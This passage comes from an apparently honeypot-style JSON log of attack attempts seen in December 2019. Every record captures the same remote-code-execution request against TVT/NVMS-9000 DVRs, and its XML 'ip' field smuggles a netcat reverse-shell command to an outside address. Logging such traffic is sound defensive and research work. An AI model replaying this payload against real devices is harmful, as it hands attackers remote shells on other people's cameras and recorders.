  5042.       "source_ip_address": "78.185.19.44",
  5043.       "country": "TR",
  5044.       "user_agent": "Help",
  5045.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5046.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5047.       "target_port": 8000,
  5048.       "protocol": "tcp",
  5049.       "tags": [
  5050.         {
  5051.           "cve": "",
  5052.           "category": "IoT",
  5053.           "description": "TVT (Generic OEM) DVR RCE"
  5054.         }
  5055.       ],
  5056.       "event_count": 1,
  5057.       "first_seen": "2019-12-21T14:46:19Z",
  5058.       "last_seen": "2019-12-21T14:46:19Z"
  5059.     },
  5060.     {
  5061.       "source_ip_address": "189.230.58.78",
  5062.       "country": "MX",
  5063.       "user_agent": "Help",
  5064.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5065.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5066.       "target_port": 81,
  5067.       "protocol": "tcp",
  5068.       "tags": [
  5069.         {
  5070.           "cve": "",
  5071.           "category": "IoT",
  5072.           "description": "TVT (Generic OEM) DVR RCE"
  5073.         }
  5074.       ],
  5075.       "event_count": 2,
  5076.       "first_seen": "2019-12-21T14:33:13Z",
  5077.       "last_seen": "2019-12-21T14:33:13Z"
  5078.     },
  5079.     {
  5080.       "source_ip_address": "47.6.89.99",
  5081.       "country": "US",
  5082.       "user_agent": "Help",
  5083.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5084.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5085.       "target_port": 81,
  5086.       "protocol": "tcp",
  5087.       "tags": [
  5088.         {
  5089.           "cve": "",
  5090.           "category": "IoT",
  5091.           "description": "TVT (Generic OEM) DVR RCE"
  5092.         }
  5093.       ],
  5094.       "event_count": 1,
  5095.       "first_seen": "2019-12-21T14:21:25Z",
  5096.       "last_seen": "2019-12-21T14:21:25Z"
  5097.     },
  5098.     {
  5099.       "source_ip_address": "93.140.85.40",
  5100.       "country": "HR",
  5101.       "user_agent": "Help",
  5102.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5103.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5104.       "target_port": 81,
  5105.       "protocol": "tcp",
  5106.       "tags": [
  5107.         {
  5108.           "cve": "",
  5109.           "category": "IoT",
  5110.           "description": "TVT (Generic OEM) DVR RCE"
  5111.         }
  5112.       ],
  5113.       "event_count": 1,
  5114.       "first_seen": "2019-12-21T14:19:20Z",
  5115.       "last_seen": "2019-12-21T14:19:20Z"
  5116.     },
  5117.     {
  5118.       "source_ip_address": "220.134.71.223",
  5119.       "country": "TW",
  5120.       "user_agent": "Help",
  5121.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5122.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5123.       "target_port": 88,
  5124.       "protocol": "tcp",
  5125.       "tags": [
  5126.         {
  5127.           "cve": "",
  5128.           "category": "IoT",
  5129.           "description": "TVT (Generic OEM) DVR RCE"
  5130.         }
  5131.       ],
  5132.       "event_count": 4,
  5133.       "first_seen": "2019-12-21T14:06:14Z",
  5134.       "last_seen": "2019-12-21T14:06:14Z"
  5135.     },
  5136.     {
  5137.       "source_ip_address": "200.207.222.98",
  5138.       "country": "BR",
  5139.       "user_agent": "Help",
  5140.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5141.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5142.       "target_port": 81,
  5143.       "protocol": "tcp",
  5144.       "tags": [
  5145.         {
  5146.           "cve": "",
  5147.           "category": "IoT",
  5148.           "description": "TVT (Generic OEM) DVR RCE"
  5149.         }
  5150.       ],
  5151.       "event_count": 61,
  5152.       "first_seen": "2019-12-21T14:00:21Z",
  5153.       "last_seen": "2019-12-21T14:00:21Z"
  5154.     },
  5155.     {
  5156.       "source_ip_address": "91.80.140.60",
  5157.       "country": "IT",
  5158.       "user_agent": "Help",
  5159.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5160.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5161.       "target_port": 80,
  5162.       "protocol": "tcp",
  5163.       "tags": [
  5164.         {
  5165.           "cve": "",
  5166.           "category": "IoT",
  5167.           "description": "TVT (Generic OEM) DVR RCE"
  5168.         }
  5169.       ],
  5170.       "event_count": 2,
  5171.       "first_seen": "2019-12-21T13:53:03Z",
  5172.       "last_seen": "2019-12-21T13:53:03Z"
  5173.     },
  5174.     {
  5175.       "source_ip_address": "37.116.198.205",
  5176.       "country": "IT",
  5177.       "user_agent": "Help",
  5178.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5179.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5180.       "target_port": 88,
  5181.       "protocol": "tcp",
  5182.       "tags": [
  5183.         {
  5184.           "cve": "",
  5185.           "category": "IoT",
  5186.           "description": "TVT (Generic OEM) DVR RCE"
  5187.         }
  5188.       ],
  5189.       "event_count": 3,
  5190.       "first_seen": "2019-12-21T13:52:39Z",
  5191.       "last_seen": "2019-12-21T13:52:39Z"
  5192.     },
  5193.     {
  5194.       "source_ip_address": "93.42.255.250",
  5195.       "country": "IT",
  5196.       "user_agent": "Help",
  5197.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5198.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5199.       "target_port": 80,
  5200.       "protocol": "tcp",
  5201.       "tags": [
  5202.         {
  5203.           "cve": "",
  5204.           "category": "IoT",
  5205.           "description": "TVT (Generic OEM) DVR RCE"
  5206.         }
  5207.       ],
  5208.       "event_count": 1,
  5209.       "first_seen": "2019-12-21T13:52:30Z",
  5210.       "last_seen": "2019-12-21T13:52:30Z"
  5211.     },
  5212.     {
  5213.       "source_ip_address": "109.102.31.87",
  5214.       "country": "RO",
  5215.       "user_agent": "Help",
  5216.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5217.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5218.       "target_port": 8000,
  5219.       "protocol": "tcp",
  5220.       "tags": [
  5221.         {
  5222.           "cve": "",
  5223.           "category": "IoT",
  5224.           "description": "TVT (Generic OEM) DVR RCE"
  5225.         }
  5226.       ],
  5227.       "event_count": 2,
  5228.       "first_seen": "2019-12-19T20:46:59Z",
  5229.       "last_seen": "2019-12-21T13:42:48Z"
  5230.     },
  5231.     {
  5232.       "source_ip_address": "24.11.21.163",
  5233.       "country": "US",
  5234.       "user_agent": "Help",
  5235.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5236.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5237.       "target_port": 8080,
  5238.       "protocol": "tcp",
  5239.       "tags": [
  5240.         {
  5241.           "cve": "",
  5242.           "category": "IoT",
  5243.           "description": "TVT (Generic OEM) DVR RCE"
  5244.         }
  5245.       ],
  5246.       "event_count": 2,
  5247.       "first_seen": "2019-12-21T13:38:29Z",
  5248.       "last_seen": "2019-12-21T13:38:29Z"
  5249.     },
  5250.     {
  5251.       "source_ip_address": "79.121.78.127",
  5252.       "country": "HU",
  5253.       "user_agent": "Help",
  5254.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5255.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5256.       "target_port": 8080,
  5257.       "protocol": "tcp",
  5258.       "tags": [
  5259.         {
  5260.           "cve": "",
  5261.           "category": "IoT",
  5262.           "description": "TVT (Generic OEM) DVR RCE"
  5263.         }
  5264.       ],
  5265.       "event_count": 2,
  5266.       "first_seen": "2019-12-21T13:37:13Z",
  5267.       "last_seen": "2019-12-21T13:37:13Z"
  5268.     },
  5269.     {
  5270.       "source_ip_address": "49.171.149.140",
  5271.       "country": "KR",
  5272.       "user_agent": "Help",
  5273.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5274.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5275.       "target_port": 8000,
  5276.       "protocol": "tcp",
  5277.       "tags": [
  5278.         {
  5279.           "cve": "",
  5280.           "category": "IoT",
  5281.           "description": "TVT (Generic OEM) DVR RCE"
  5282.         }
  5283.       ],
  5284.       "event_count": 64,
  5285.       "first_seen": "2019-12-21T13:33:07Z",
  5286.       "last_seen": "2019-12-21T13:33:07Z"
  5287.     },
  5288.     {
  5289.       "source_ip_address": "89.165.204.71",
  5290.       "country": "RO",
  5291.       "user_agent": "Help",
  5292.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5293.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5294.       "target_port": 81,
  5295.       "protocol": "tcp",
  5296.       "tags": [
  5297.         {
  5298.           "cve": "",
  5299.           "category": "IoT",
  5300.           "description": "TVT (Generic OEM) DVR RCE"
  5301.         }
  5302.       ],
  5303.       "event_count": 1,
  5304.       "first_seen": "2019-12-21T13:16:49Z",
  5305.       "last_seen": "2019-12-21T13:16:49Z"
  5306.     },
  5307.     {
  5308.       "source_ip_address": "61.70.132.168",
  5309.       "country": "TW",
  5310.       "user_agent": "Help",
  5311.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5312.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5313.       "target_port": 8080,
  5314.       "protocol": "tcp",
  5315.       "tags": [
  5316.         {
  5317.           "cve": "",
  5318.           "category": "IoT",
  5319.           "description": "TVT (Generic OEM) DVR RCE"
  5320.         }
  5321.       ],
  5322.       "event_count": 1,
  5323.       "first_seen": "2019-12-21T13:05:57Z",
  5324.       "last_seen": "2019-12-21T13:05:57Z"
  5325.     },
  5326.     {
  5327.       "source_ip_address": "220.85.29.32",
  5328.       "country": "KR",
  5329.       "user_agent": "Help",
  5330.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5331.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5332.       "target_port": 8080,
  5333.       "protocol": "tcp",
  5334.       "tags": [
  5335.         {
  5336.           "cve": "",
  5337.           "category": "IoT",
  5338.           "description": "TVT (Generic OEM) DVR RCE"
  5339.         }
  5340.       ],
  5341.       "event_count": 1,
  5342.       "first_seen": "2019-12-21T12:46:32Z",
  5343.       "last_seen": "2019-12-21T12:46:32Z"
  5344.     },
  5345.     {
  5346.       "source_ip_address": "111.185.231.71",
  5347.       "country": "TW",
  5348.       "user_agent": "Help",
  5349.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5350.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5351.       "target_port": 81,
  5352.       "protocol": "tcp",
  5353.       "tags": [
  5354.         {
  5355.           "cve": "",
  5356.           "category": "IoT",
  5357.           "description": "TVT (Generic OEM) DVR RCE"
  5358.         }
  5359.       ],
  5360.       "event_count": 2,
  5361.       "first_seen": "2019-12-21T12:32:31Z",
  5362.       "last_seen": "2019-12-21T12:32:31Z"
  5363.     },
  5364.     {
  5365.       "source_ip_address": "178.61.159.182",
  5366.       "country": "KW",
  5367.       "user_agent": "Help",
  5368.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5369.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5370.       "target_port": 88,
  5371.       "protocol": "tcp",
  5372.       "tags": [
  5373.         {
  5374.           "cve": "",
  5375.           "category": "IoT",
  5376.           "description": "TVT (Generic OEM) DVR RCE"
  5377.         }
  5378.       ],
  5379.       "event_count": 70,
  5380.       "first_seen": "2019-12-21T12:31:50Z",
  5381.       "last_seen": "2019-12-21T12:31:50Z"
  5382.     },
  5383.     {
  5384.       "source_ip_address": "84.33.110.125",
  5385.       "country": "IT",
  5386.       "user_agent": "Help",
  5387.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5388.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5389.       "target_port": 81,
  5390.       "protocol": "tcp",
  5391.       "tags": [
  5392.         {
  5393.           "cve": "",
  5394.           "category": "IoT",
  5395.           "description": "TVT (Generic OEM) DVR RCE"
  5396.         }
  5397.       ],
  5398.       "event_count": 2,
  5399.       "first_seen": "2019-12-21T12:11:45Z",
  5400.       "last_seen": "2019-12-21T12:11:45Z"
  5401.     },
  5402.     {
  5403.       "source_ip_address": "136.43.32.84",
  5404.       "country": "US",
  5405.       "user_agent": "Help",
  5406.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5407.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5408.       "target_port": 81,
  5409.       "protocol": "tcp",
  5410.       "tags": [
  5411.         {
  5412.           "cve": "",
  5413.           "category": "IoT",
  5414.           "description": "TVT (Generic OEM) DVR RCE"
  5415.         }
  5416.       ],
  5417.       "event_count": 72,
  5418.       "first_seen": "2019-12-21T12:11:21Z",
  5419.       "last_seen": "2019-12-21T12:11:21Z"
  5420.     },
  5421.     {
  5422.       "source_ip_address": "73.124.228.86",
  5423.       "country": "US",
  5424.       "user_agent": "Help",
  5425.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5426.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5427.       "target_port": 8000,
  5428.       "protocol": "tcp",
  5429.       "tags": [
  5430.         {
  5431.           "cve": "",
  5432.           "category": "IoT",
  5433.           "description": "TVT (Generic OEM) DVR RCE"
  5434.         }
  5435.       ],
  5436.       "event_count": 1,
  5437.       "first_seen": "2019-12-21T12:09:40Z",
  5438.       "last_seen": "2019-12-21T12:09:40Z"
  5439.     },
  5440.     {
  5441.       "source_ip_address": "175.101.76.9",
  5442.       "country": "IN",
  5443.       "user_agent": "Help",
  5444.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5445.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5446.       "target_port": 8000,
  5447.       "protocol": "tcp",
  5448.       "tags": [
  5449.         {
  5450.           "cve": "",
  5451.           "category": "IoT",
  5452.           "description": "TVT (Generic OEM) DVR RCE"
  5453.         }
  5454.       ],
  5455.       "event_count": 1,
  5456.       "first_seen": "2019-12-21T10:56:33Z",
  5457.       "last_seen": "2019-12-21T10:56:33Z"
  5458.     },
  5459.     {
  5460.       "source_ip_address": "61.223.122.138",
  5461.       "country": "TW",
  5462.       "user_agent": "Help",
  5463.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5464.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5465.       "target_port": 8080,
  5466.       "protocol": "tcp",
  5467.       "tags": [
  5468.         {
  5469.           "cve": "",
  5470.           "category": "IoT",
  5471.           "description": "TVT (Generic OEM) DVR RCE"
  5472.         }
  5473.       ],
  5474.       "event_count": 1,
  5475.       "first_seen": "2019-12-21T10:53:27Z",
  5476.       "last_seen": "2019-12-21T10:53:27Z"
  5477.     },
  5478.     {
  5479.       "source_ip_address": "93.42.110.44",
  5480.       "country": "IT",
  5481.       "user_agent": "Help",
  5482.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  5483.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  5484.       "target_port": 88,
  5485.       "protocol": "tcp",
  5486.       "tags": [
  5487.         {
  5488.           "cve": "",
  5489.           "category": "IoT",
  5490.           "description": "TVT (Generic OEM) DVR RCE"
  5491.         }
  5492.       ],
  5493.       "event_count": 5,
  5494.       "first_seen": "2019-12-21T10:41:39Z",
  5495.       "last_seen": "2019-12-21T10:41:39Z"
  5496.     },
  5497.     {
